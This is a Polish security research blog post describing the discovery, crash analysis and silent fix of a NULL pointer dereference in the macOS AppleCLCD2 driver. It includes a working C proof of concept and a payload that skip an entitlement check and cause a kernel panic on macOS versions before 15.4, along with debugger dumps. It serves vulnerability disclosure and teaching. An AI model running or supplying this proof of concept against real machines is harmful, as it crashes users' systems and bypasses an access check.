Studium przypadku: Dereferencja wskaźnika NULL w IOMobileFramebuffer

Karol Mazurek

W moim poprzednim artykule History of NULL Pointer Dereferences on macOS opisałem, w jaki sposób Apple wdraża liczne mechanizmy zabezpieczające, utrudniające wykorzystanie błędów związanych z dereferencją wskaźnika NULL. Wspomniałem wtedy, że podczas fuzzowania odkryłem jedną z takich podatności. Niniejszy tekst jest rozszerzeniem tamtego wpisu — dziś przedstawię szczegóły odnalezionej podatności oraz sposób, w jaki Apple rozwiązało ten problem.

Miłej lektury!

Ogólny przegląd problemu

Odkryłem podatność typu NULL Pointer Dereference w sterowniku AppleCLCD2 w systemie macOS — konkretnie w metodzie zewnętrznej IOMobileFramebufferUserClient::s_swap_submit (selector 5).

Problem dotyczył dwóch kluczowych elementów:

  • Ominięcie sprawdzania uprawnień (Entitlement Check Bypass): Umieszczenie pojedynczego bajtu o wartości zero pod offsetem 0x3F0 w przesyłanym buforze pozwalało niezaufanym aplikacjom ominąć sprawdzanie uprawnienia com.apple.private.gain-map-access.
  • Wywołanie korupcji pamięci i paniki kernela (Memory Corruption Trigger) Wstawienie czterech zerowych bajtów pod offsetem 0x430 powodowało zmylenie mechanizmu walidacji pamięci w sterowniku, co prowadziło do dereferencji wskaźnika NULL i wywołania kernel panic.

Apple naprawiło ten błąd w wersji macOS 15.4, jednak zrobiło to po cichu — bez przypisania CVE i bez oficjalnego uznania zgłoszenia. Potraktowano ten problem jako klasyczny przypadek Denial of Service, a nie podatność o charakterze bezpieczeństwa.

Proof of Concept Payload

Poniższy payload w formie bufora o długości 1300 bajtów pozwala w niezawodny sposób wywołać błąd:

<code>payload = bytearray([0x41]*0x3F0)                      <em># Fill with 'A' characters</em>
payload += bytearray([0x00])                           <em># Bypass at offset 0x3F0</em>
payload += bytearray([0x42]*7 + [0x43]*8 + [0x44]*48)  <em># Padding</em>
payload += bytearray([0x00, 0x00, 0x00, 0x00])         <em># Crash trigger at offset 0x430</em>
payload += bytearray([0x46]*(1300-len(payload)))       <em># Fill remaining space</em></code>Code language: HTML, XML (xml)

Payload jest w rzeczywistości prostszy niż wygląda — wystarczy wysłać 0x3F0 bajtów dowolnej wartości, potem jeden bajt o wartości zero, a następnie cztery kolejne zera pod offsetem 0x430.

Proof of Concept Code

Pełny kod C wywołujący błąd i powodujący kernel panic:

/*  AppleCLCD2_PoC.c by Karol Mazurek (@karmaz95)

Minimal demonstration that calls AppleCLCD2 selector=5 with a crafted 1300-byte input to:
- bypass the entitlement check 
- and trigger a kernel crash due to zalloc_uaf_panic.

Compile example (macOS):
  clang -o clcd2_poc AppleCLCD2_PoC.c -framework IOKit

Run:
  ./clcd2_poc

Expectation: system may panic due to zalloc_uaf_panic.
*/

#include <IOKit/IOKitLib.h>
#include <mach/mach_error.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Service name and selector
#define SERVICE_NAME  "AppleCLCD2"
#define SERVICE_TYPE  0
#define SELECTOR      5

// The payload size must be 1300 (UserClient except inputStruct == 1300).
#define PAYLOAD_SIZE  1300

// Offsets of interest in the 1300-byte buffer.
#define OFFSET_BYPASS 0x3F0  // Byte that must be zero to skip entitlement check
#define OFFSET_CRASH  0x430  // Four bytes at 0x430 must be zero to trigger the crash (zalloc_uaf_panic)

static io_connect_t open_service(const char *name, uint32_t type);

int main(void)
{
    // 1) Open AppleCLCD2
    io_connect_t conn = open_service(SERVICE_NAME, SERVICE_TYPE);
    if (!conn) {
        return 1;
    }

    // 2) Create the 1300-byte payload
    unsigned char *payload = (unsigned char*)calloc(PAYLOAD_SIZE, 1);
    if (!payload) {
        fprintf(stderr, "[-] Failed to allocate payload buffer\n");
        IOServiceClose(conn);
        return 2;
    }

    // Fill everything with 0x41
    memset(payload, 0x41, PAYLOAD_SIZE);

    // Put zero at 0x3F0 (bypass entitlement check).
    payload[OFFSET_BYPASS] = 0x00;

    // Put four zeros at 0x430 to provoke the crash.
    memset(payload + OFFSET_CRASH, 0x00, 4);

    printf("[*] Prepared a 1300-byte payload. Bypass offset=0x%X, crash offset=0x%X\n",
           OFFSET_BYPASS, OFFSET_CRASH);

    // 3) Call selector 5 with this payload
    kern_return_t kr;
    size_t inputStructCnt = PAYLOAD_SIZE;
    kr = IOConnectCallMethod(conn,
                             SELECTOR,
                             NULL, 0,
                             payload, inputStructCnt,
                             NULL, NULL,
                             NULL, NULL);

    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] IOConnectCallMethod(%s, %u) returned 0x%x (%s)\n",
                SERVICE_NAME, SELECTOR, kr, mach_error_string(kr));
    } else {
        printf("[*] Call succeeded. If the driver is vulnerable, a panic may occur soon.\n");
    }

    // Cleanup
    free(payload);
    IOServiceClose(conn);
    return 0;
}

// ----------------------------------------------------------------------
// Open a named IOService, returns io_connect_t or 0 on error.
static io_connect_t open_service(const char *name, uint32_t type)
{
    io_service_t svc = IOServiceGetMatchingService(kIOMainPortDefault,
                                                   IOServiceMatching(name));
    if (!svc) {
        fprintf(stderr, "[-] No service named '%s'\n", name);
        return 0;
    }
    io_connect_t conn = 0;
    kern_return_t kr = IOServiceOpen(svc, mach_task_self(), type, &conn);
    IOObjectRelease(svc);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] IOServiceOpen(%s) = 0x%x (%s)\n",
                name, kr, mach_error_string(kr));
        return 0;
    }
    return conn;
}Code language: PHP (php)

Kod powinien działać (wywoływać błąd) w macOS przed wersją 15.4 (przetestowano dla 15.3.2).

Jak odkryto podatność

Buduję własny fuzzer do sterowników macOS i odtwarzam (reverse engineering) sposób działania ich metod zewnętrznych. Na ten moment jest to „głupi fuzzer”, który wymaga podania: nazwy sterownika, typu połączenia, numeru selektora oraz oczekiwanych wartości wejściowych. Mój typowy workflow jest następujący:

  1. Odnajduję metodę newUserClient np. IOMobileFramebufferAP::newUserClient
  2. Analizuję ją i sprawdzam jakie typy połączeń obsługuje (większość sterowników akceptuje dowolną wartość)
  3. Identyfikuję metodę externalMethod dla danego typu połączenia, np. IOMobileFramebufferUserClient::externalMethod
  4. Analizuję obsługiwane selektory i ich wartości

Później zapisuję te informacje w formacie YAML obsługiwanym przez mojego fuzzera, np.:

IOMobileFramebufferAP: # (AppleCLCD2) IOMobileFramebufferAP::newUserClient  (proxied to IOMobileFramebufferLegacy)
  0: # IOMobileFramebufferUserClient::externalMethod
    0: [3, 0, 0, 0]
    1: [0, 0, 0, 0]
    2: [0, 0, 0, 0]
    3: [2, 0, 1, 0]
    4: [0, 0, 1, 0]
    5: [0, 1300, 0, 0] # Vulnerable to Null Pointer DereferenceCode language: CSS (css)

Uruchamiam fuzzer i zajmuję się czymś innym, czekając na ewentualny crash. Stworzyłem nawet prostą aplikację, która informuje mnie o wykrytym crashu przez Telegrama — ale to temat na osobny artykuł.

Crash!

Gdy natrafiłem na crash w sterowniku AppleCLCD2, zwróciły moją uwagę wartości rejestrów:

<code>panic(cpu 2 caller 0xfffffe0008fe9964): Kernel data abort. at pc 0xfffffe001fe728c4
    x0: 0x0000000000000000 x1: 0x0000000000000003 
    esr: 0x7373657296000006 far: 0x0000000000000000</code>Code language: HTML, XML (xml)

Zerowe wartości w rejestrach x0 i far to klasyczne symptomy dereferencji wskaźnika NULL. Crash wystąpił w funkcji zalloc_validate_element, co sugeruje naruszenie integralności pamięci.

Analiza przebiegu wykonania kodu

Załadowałem pamięć podręczną jądra do IDA i odnalazłem obsługę selektora. Przebieg wykonania kodu wygląda następująco:

┌────────────┐
│ User Space │
│  (./poc)   │
└────┬───────┘
     │
     │ IOConnectCallMethod(..., selector=5, inputSize=1300, ...)
     ▼
┌────────────────────────────┐
│ s_swap_submit (wrapper)    │
│  - Checks entitlements     │
│  - Reads internal pointers │
│  - Calls swap_submit(...)  │
└────────────┬───────────────┘
             ▼
┌────────────────────────────┐
│ swap_submit                │
│  - Verifies input== 1300   │
│  - Retrieves v5() pointer  │
│  - Calls v5() function     │
└────────────┬───────────────┘
             ▼
┌────────────────────────────────────────────────┐
│ v5() → IOMobileFramebufferLegacy::swap_submit  │
│  - Reads swapID, enabled, completed from input │
│  - Calls a driver function                     │ <-- CRASH OCCURS HERE - it 
│  - Logs "IOMFB_SWAP_SUBMIT_LOST"               │
└────────────────────────────────────────────────┘
Code language: JavaScript (javascript)

Wrażliwy kod w ścieżce sprawdzania uprawnień został pokazany poniżej. Poprzez wyzerowanie bajtu na offsetcie 0x3F0, tworzymy sytuację, w której *(v6 + 1008) przyjmuje wartość 0, całkowicie pomijając sprawdzenie uprawnień.

if (v6 && *(v6 + 1008) && 
    !IOMobileFramebufferUserClient::isEntitlementSet(
        "com.apple.private.gain-map-access", this[29], a3)) {
    return 0xE00002C1LL;
}Code language: JavaScript (javascript)

Problem z dereferencją wskaźnika NULL występuje w innym miejscu i nie udało mi się go osiągnąć w IDA.

Core Dump

Aby namierzyć miejsce awarii, wyłączyłem mechanizmy ochrony SIP (System Integrity Protection) i ustawiłem parametry rozruchowe nvram:

nvram boot-args="debug=0xCC44 wdt=-1"Code language: JavaScript (javascript)

Dzięki temu możliwe było wygenerowanie pełnego zrzutu pamięci jądra (core dump). Następnie uruchomiłem przygotowany exploit (PoC), poczekałem aż system się zawiesi (kernel panic), a po restarcie załadowałem core dump do debuggera LLDB:

lldb -c YYYY-MM-DD-TIME.kernel.coreCode language: CSS (css)

W zrzucie pamięci (core dump) udało się odczytać stan rejestrów oraz instrukcji w chwili awarii (fragment logów z LLDB). Rejestry oraz instrukcje w chwili awarii:

(lldb) reg read
General Purpose Registers:
        x0 = 0x0000000000000000
        x1 = 0x0000000000000000
        x2 = 0x0000000000000000
        x3 = 0x0000000000000000
        x4 = 0xfffffe24ccb0a980
        x5 = 0xb6fb7e002422e308 (0xfffffe002422e308) kernel.release.t6000`OSArray::initWithObjects(OSObject const**, unsigned int, unsigned int) at OSArray.cpp:84
        x6 = 0x0000000000000000
        x7 = 0xfffffe00274ba960
        x8 = 0x0000000000000040
        x9 = 0x0000000000000000
       x10 = 0xfffffe10007b9f10
       x11 = 0x0000000000000001
       x12 = 0x000000000000000e
       x13 = 0x0000000000003570
       x14 = 0x0000000000000010
       x15 = 0xfffffe00274cfb80  kernel.release.t6000`audio_active + 40064
       x16 = 0xfffffe00230c1650  kernel.release.t6000`vtable for OSCollectionIterator::MetaClass + 184
       x17 = 0x1601fe00230c1650
       x18 = 0x0000000000000000
       x19 = 0xfffffe00274d4b00  kernel.release.t6000`audio_active + 60416
       x20 = 0x00000000000d1004
       x21 = 0x0000000000000030
       x22 = 0xfffffe24cccdf8e0
       x23 = 0xfffffe1666c57ab0
       x24 = 0x0000000000000000
       x25 = 0x0000000000000030
       x26 = 0xfffffe002752d000  kernel.release.t6000`_NSConcreteFinalizingBlock + 232
       x27 = 0xfffffe0027536998  kernel.release.t6000`IOPowerConnection::gMetaClass
       x28 = 0x0000000000000001
        fp = 0xfffffe5000a5bc00
        lr = 0xfce7fe0023c24754 (0xfffffe0023c24754) kernel.release.t6000`zalloc_ext + 176 [inlined] zalloc_validate_element + 16 at zalloc.c:3162:6
  kernel.release.t6000`zalloc_ext + 160 [inlined] zalloc_return at zalloc.c:6661:2
  kernel.release.t6000`zalloc_ext + 160 at zalloc.c:6983:11
        sp = 0xfffffe5000a5bbd0
        pc = 0xfffffe0023c24754  kernel.release.t6000`zalloc_ext + 176 [inlined] zalloc_validate_element + 16 at zalloc.c:3162:6
  kernel.release.t6000`zalloc_ext + 160 [inlined] zalloc_return at zalloc.c:6661:2
  kernel.release.t6000`zalloc_ext + 160 at zalloc.c:6983:11
      cpsr = 0x40401208

(lldb) di
kernel.release.t6000`zalloc_ext:
    0xfffffe0023c246a4 <+0>:   pacibsp
    0xfffffe0023c246a8 <+4>:   stp    x24, x23, [sp, #-0x40]!
    0xfffffe0023c246ac <+8>:   stp    x22, x21, [sp, #0x10]
    0xfffffe0023c246b0 <+12>:  stp    x20, x19, [sp, #0x20]
    0xfffffe0023c246b4 <+16>:  stp    x29, x30, [sp, #0x30]
    0xfffffe0023c246b8 <+20>:  add    x29, sp, #0x30
    0xfffffe0023c246bc <+24>:  mov    x20, x2
    0xfffffe0023c246c0 <+28>:  mov    x22, x1
    0xfffffe0023c246c4 <+32>:  mov    x19, x0
    0xfffffe0023c246c8 <+36>:  mrs    x8, TPIDR_EL1
    0xfffffe0023c246cc <+40>:  ldr    w9, [x8, #0x1b0]
    0xfffffe0023c246d0 <+44>:  add    w9, w9, #0x1
    0xfffffe0023c246d4 <+48>:  str    w9, [x8, #0x1b0]
    0xfffffe0023c246d8 <+52>:  ldr    x10, [x0, #0x40]
    0xfffffe0023c246dc <+56>:  cbz    x10, 0xfffffe0023c24810 ; <+364> at zalloc.c:6988:9
    0xfffffe0023c246e0 <+60>:  ldrh   w9, [x8, #0x1a0]
    0xfffffe0023c246e4 <+64>:  lsl    x9, x9, #14
    0xfffffe0023c246e8 <+68>:  add    x3, x9, x10
    0xfffffe0023c246ec <+72>:  ldrh   w10, [x3, #0x4]
    0xfffffe0023c246f0 <+76>:  cbz    w10, 0xfffffe0023c247bc ; <+280> [inlined] zalloc_cached_get_pcpu_cache at zalloc.c:6897:6
    0xfffffe0023c246f4 <+80>:  ldrh   w21, [x19, #0x34]
    0xfffffe0023c246f8 <+84>:  ldr    x10, [x9, x22]
    0xfffffe0023c246fc <+88>:  add    x10, x10, x21
    0xfffffe0023c24700 <+92>:  str    x10, [x9, x22]
    0xfffffe0023c24704 <+96>:  ldrh   w9, [x3, #0x4]
    0xfffffe0023c24708 <+100>: sub    w9, w9, #0x1
    0xfffffe0023c2470c <+104>: strh   w9, [x3, #0x4]
    0xfffffe0023c24710 <+108>: and    x9, x9, #0xffff
    0xfffffe0023c24714 <+112>: ldr    x10, [x3, #0x8]
    0xfffffe0023c24718 <+116>: lsl    x9, x9, #3
    0xfffffe0023c2471c <+120>: ldr    x22, [x10, x9]
    0xfffffe0023c24720 <+124>: str    xzr, [x10, x9]
    0xfffffe0023c24724 <+128>: ldr    w9, [x8, #0x1b0]
    0xfffffe0023c24728 <+132>: cbz    w9, 0xfffffe0023c247e4 ; <+320> [inlined] _enable_preemption at preemption_disable.c:196:3
    0xfffffe0023c2472c <+136>: subs   w9, w9, #0x1
    0xfffffe0023c24730 <+140>: str    w9, [x8, #0x1b0]
    0xfffffe0023c24734 <+144>: b.ne   0xfffffe0023c24744 ; <+160> [inlined] zalloc_validate_element at zalloc.c:3159:6
    0xfffffe0023c24738 <+148>: ldr    x8, [x8, #0x1a8]
    0xfffffe0023c2473c <+152>: ldrb   w8, [x8, #0x4c]
    0xfffffe0023c24740 <+156>: tbnz   w8, #0x2, 0xfffffe0023c247e8 ; <+324> [inlined] _enable_preemption_write_count at preemption_disable.c:103:11
    0xfffffe0023c24744 <+160>: tbnz   w20, #0xe, 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
    0xfffffe0023c24748 <+164>: mov    x0, x22
    0xfffffe0023c2474c <+168>: mov    x1, x21
    0xfffffe0023c24750 <+172>: bl     0xfffffe0023b5a520 ; memcmp_zero_ptr_aligned
->  0xfffffe0023c24754 <+176>: cbnz   x0, 0xfffffe0023c24840 ; <+412> [inlined] zalloc_validate_element at zalloc.c:3163:3
    0xfffffe0023c24758 <+180>: tbnz   w20, #0xd, 0xfffffe0023c24784 ; <+224> [inlined] zpercpu_count at zalloc.c:2888:9
    0xfffffe0023c2475c <+184>: mov    x0, x19
    0xfffffe0023c24760 <+188>: mov    x1, x22
    0xfffffe0023c24764 <+192>: nop
    0xfffffe0023c24768 <+196>: mov    x0, x22
    0xfffffe0023c2476c <+200>: mov    x1, x21
    0xfffffe0023c24770 <+204>: ldp    x29, x30, [sp, #0x30]
    0xfffffe0023c24774 <+208>: ldp    x20, x19, [sp, #0x20]
    0xfffffe0023c24778 <+212>: ldp    x22, x21, [sp, #0x10]
    0xfffffe0023c2477c <+216>: ldp    x24, x23, [sp], #0x40
    0xfffffe0023c24780 <+220>: retab
    0xfffffe0023c24784 <+224>: adrp   x8, -3108
    0xfffffe0023c24788 <+228>: ldr    w23, [x8, #0x5d0]
    0xfffffe0023c2478c <+232>: mov    x20, x22
    0xfffffe0023c24790 <+236>: subs   x23, x23, #0x1
    0xfffffe0023c24794 <+240>: b.eq   0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
    0xfffffe0023c24798 <+244>: add    x20, x20, #0x4, lsl #12 ; =0x4000
    0xfffffe0023c2479c <+248>: mov    x0, x20
    0xfffffe0023c247a0 <+252>: mov    x1, x21
    0xfffffe0023c247a4 <+256>: bl     0xfffffe0023b5a520 ; memcmp_zero_ptr_aligned
    0xfffffe0023c247a8 <+260>: cbz    x0, 0xfffffe0023c24790 ; <+236> [inlined] zalloc_validate_element + 12 at zalloc.c:3166:36
    0xfffffe0023c247ac <+264>: mov    x0, x19
    0xfffffe0023c247b0 <+268>: mov    x1, x20
    0xfffffe0023c247b4 <+272>: mov    x2, x21
    0xfffffe0023c247b8 <+276>: bl     0xfffffe0024418d18 ; zalloc_uaf_panic at zalloc.c:3125
    0xfffffe0023c247bc <+280>: ldrh   w10, [x3, #0x6]
    0xfffffe0023c247c0 <+284>: cbz    w10, 0xfffffe0023c247f4 ; <+336> at zalloc.c
    0xfffffe0023c247c4 <+288>: ldr    x11, [x3, #0x30]
    0xfffffe0023c247c8 <+292>: cbnz   x11, 0xfffffe0023c247f4 ; <+336> at zalloc.c
    0xfffffe0023c247cc <+296>: strh   w10, [x3, #0x4]
    0xfffffe0023c247d0 <+300>: strh   wzr, [x3, #0x6]
    0xfffffe0023c247d4 <+304>: ldur   q0, [x3, #0x8]
    0xfffffe0023c247d8 <+308>: ext.16b v0, v0, v0, #0x8
    0xfffffe0023c247dc <+312>: stur   q0, [x3, #0x8]
    0xfffffe0023c247e0 <+316>: b      0xfffffe0023c246f4 ; <+80> [inlined] zone_elem_inner_size at zalloc_internal.h:670:15
    0xfffffe0023c247e4 <+320>: bl     0xfffffe002441db88 ; _enable_preemption_underflow at preemption_disable.c:173
    0xfffffe0023c247e8 <+324>: bl     0xfffffe0023d060c8 ; kernel_preempt_check at preemption_disable.c:68
    0xfffffe0023c247ec <+328>: tbz    w20, #0xe, 0xfffffe0023c24748 ; <+164> [inlined] zalloc_validate_element + 4 at zalloc.c:3162:6
    0xfffffe0023c247f0 <+332>: b      0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
    0xfffffe0023c247f4 <+336>: mov    x21, x9
    0xfffffe0023c247f8 <+340>: mov    x0, x19
    0xfffffe0023c247fc <+344>: mov    x1, #0x0 ; =0
    0xfffffe0023c24800 <+348>: mov    x2, x20
    0xfffffe0023c24804 <+352>: mov    x23, x8
    0xfffffe0023c24808 <+356>: bl     0xfffffe0023c24860 ; zalloc_cached_prime at zalloc.c:6839
    0xfffffe0023c2480c <+360>: cbnz   x0, 0xfffffe0023c24850 ; <+428> at zalloc.c
    0xfffffe0023c24810 <+364>: mov    x0, x19
    0xfffffe0023c24814 <+368>: mov    x1, x22
    0xfffffe0023c24818 <+372>: mov    x2, x20
    0xfffffe0023c2481c <+376>: ldp    x29, x30, [sp, #0x30]
    0xfffffe0023c24820 <+380>: ldp    x20, x19, [sp, #0x20]
    0xfffffe0023c24824 <+384>: ldp    x22, x21, [sp, #0x10]
    0xfffffe0023c24828 <+388>: ldp    x24, x23, [sp], #0x40
    0xfffffe0023c2482c <+392>: autibsp
    0xfffffe0023c24830 <+396>: eor    x16, x30, x30, lsl #1
    0xfffffe0023c24834 <+400>: tbz    x16, #0x3e, 0xfffffe0023c2483c ; <+408> at zalloc.c:6988:9
    0xfffffe0023c24838 <+404>: brk    #0xc471
    0xfffffe0023c2483c <+408>: b      0xfffffe0023c24df4 ; zalloc_item at zalloc.c:6683
    0xfffffe0023c24840 <+412>: mov    x0, x19
    0xfffffe0023c24844 <+416>: mov    x1, x22
    0xfffffe0023c24848 <+420>: mov    x2, x21
    0xfffffe0023c2484c <+424>: bl     0xfffffe0024418d18 ; zalloc_uaf_panic at zalloc.c:3125
    0xfffffe0023c24850 <+428>: mov    x8, x23
    0xfffffe0023c24854 <+432>: mov    x3, x0
    0xfffffe0023c24858 <+436>: mov    x9, x21
    0xfffffe0023c2485c <+440>: b      0xfffffe0023c246f4 ; <+80> [inlined] zone_elem_inner_size at zalloc_internal.h:670:15Code language: HTML, XML (xml)

Wszystko wskazuje na to, że nasz payload wprowadza sterownik w błąd, zmuszając go do przekazania wskaźnika o wartości NULL do funkcji walidującej pamięć. To z kolei powoduje, że funkcja zalloc_validate_element działa niepoprawnie — rozpoznaje sytuację jako błąd użycia już zwolnionej pamięci (use-after-free) i wywołuje panic systemu zalloc_uaf_panic:

void zalloc_validate_element(zone_t zone, void *element) {
    if (memcmp_zero_ptr_aligned(element, zone->elem_size)) {
        zalloc_uaf_panic(zone, element); // Triggers controlled panic
    }
}Code language: JavaScript (javascript)

Na tym etapie zdecydowałem się zgłosić ten problem do Apple jako podatność typu Denial of Service (DoS).

Naprawa podatności

Aby sprawdzić w jaki sposób Apple załatało ten błąd, zdekompresowałem Kernel Cache z systemu macOS 15.4 i załadowałem go do IDA:

ipsw kernel dec $(ls /System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache) -o kernelcache
ida kernelcache.decompressedCode language: JavaScript (javascript)

W IDA przechodzimy do funkcji IOMobileFramebufferUserClient::externalMethod i znajdujemy tablicę dispatchującą selektory (selectors dispatch array):

Następnie dla selektora nr 5 sprawdzamy przypisaną funkcję obsługi wykorzystując przedstawione wcześniej rozszerzenie IDA. Możemy do niej przejść poprzez dwukrotne kliknięcie odnośnika:

Porównując nową wersję kodu (po poprawce) ze starą, widać, że sprawdzenie uprawnień (entitlement check) zostało poprawione. Warunek jest teraz bardziej rygorystyczny — sprawdzany jest konkretny przypadek == 1 zamiast tylko != 0:

Logika funkcji swap_submit pozostała niezmieniona, jednak prawdopodobnie zmiany dotknęły funkcję, której nie analizowałem, mianowicie v5().

Zatem poprawka naprawiająca podatność NULL Pointer Dereference dotyczyła prawdopodobnie funkcji wywoływanej przez v5().

Podsumowanie

Szczerze mówiąc, byłem nieco rozczarowany, że nie otrzymałem żadnego uznania za to odkrycie — ale cóż, tak już bywa 😀 Apple po cichu załatało lukę w systemie macOS w wersji 15.4, ale przynajmniej pozwolili mi opisać cały przypadek publicznie.

Jeśli ktokolwiek z czytających znajdzie lepszy sposób na wykorzystanie tej podatności niż zwykłe wywołanie NULL Pointer Dereference — koniecznie dajcie mi znać! Ten case study ma przede wszystkim charakter edukacyjny — kierowany jest do osób zainteresowanych debugowaniem jądra systemu, inżynierią wsteczną oraz analizą bezpieczeństwa.

Jeśli ten wpis Cię zainteresował i jeżeli interesujesz się cyberbezpieczeństwem, zachęcam do regularnych odwiedzin naszego bloga AFINE, na którym regularnie pojawiają się nowe, wartościowe materiały. Jeśli interesuje Cię bezpieczeństwo systemu macOS, koniecznie dodaj do zakładek repozytorium Snake_Apple, gdzie w jednym miejscu znajdziesz wszystkie moje artykuły.

Mam nadzieję, że udało Ci się dowiedzieć czegoś nowego!

Karol Mazurek
Head of Research

Czy Twoja firma jest bezpieczna w sieci?

Dołącz do grona naszych zadowolonych klientów i zabezpiecz swoją firmę przed cyberzagrożeniami już dziś!

Zostaw nam swoje dane kontaktowe, a nasz zespół skontaktuje się z Tobą, aby omówić szczegóły i dopasować ofertę do Twoich potrzeb. Dbamy o pełną dyskrecję i poufność Twoich danych, dlatego możesz nam zaufać.

Chciałbyś od razu zadać pytanie? Odwiedź naszą stronę kontaktową.